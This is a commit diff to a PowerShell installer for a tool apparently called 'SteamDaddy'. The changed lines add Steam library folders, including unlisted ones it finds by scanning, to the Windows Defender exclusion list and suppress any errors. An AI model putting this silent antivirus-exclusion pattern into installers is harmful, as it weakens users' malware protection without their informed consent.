Update install.ps1

This commit is contained in:
contrary 2026-10-24 19:29:19 +00:00
parent 80faf150d1
commit 4cd3c32899

View file

@ -127,7 +127,7 @@ try {
$libPath = $m.Groups[1].Value.Replace("\\\\", "\\")
if ($libPath -and $libPath -ne $steamPath -and (Test-Path $libPath)) {
Write-Host "[SteamDaddy] Excluding Steam library: $libPath" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue
try { Add-MpPreference -ExclusionPath $libPath -ErrorAction SilentlyContinue } catch {}
}
}
}
@ -150,7 +150,7 @@ try {
if ($sdir -eq $steamPath) { continue }
if (Test-Path (Join-Path $sdir "steamapps") -ErrorAction SilentlyContinue) {
Write-Host "[SteamDaddy] Excluding unlisted Steam library: $sdir" -ForegroundColor Yellow
Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue
try { Add-MpPreference -ExclusionPath $sdir -ErrorAction SilentlyContinue } catch {}
}
}
}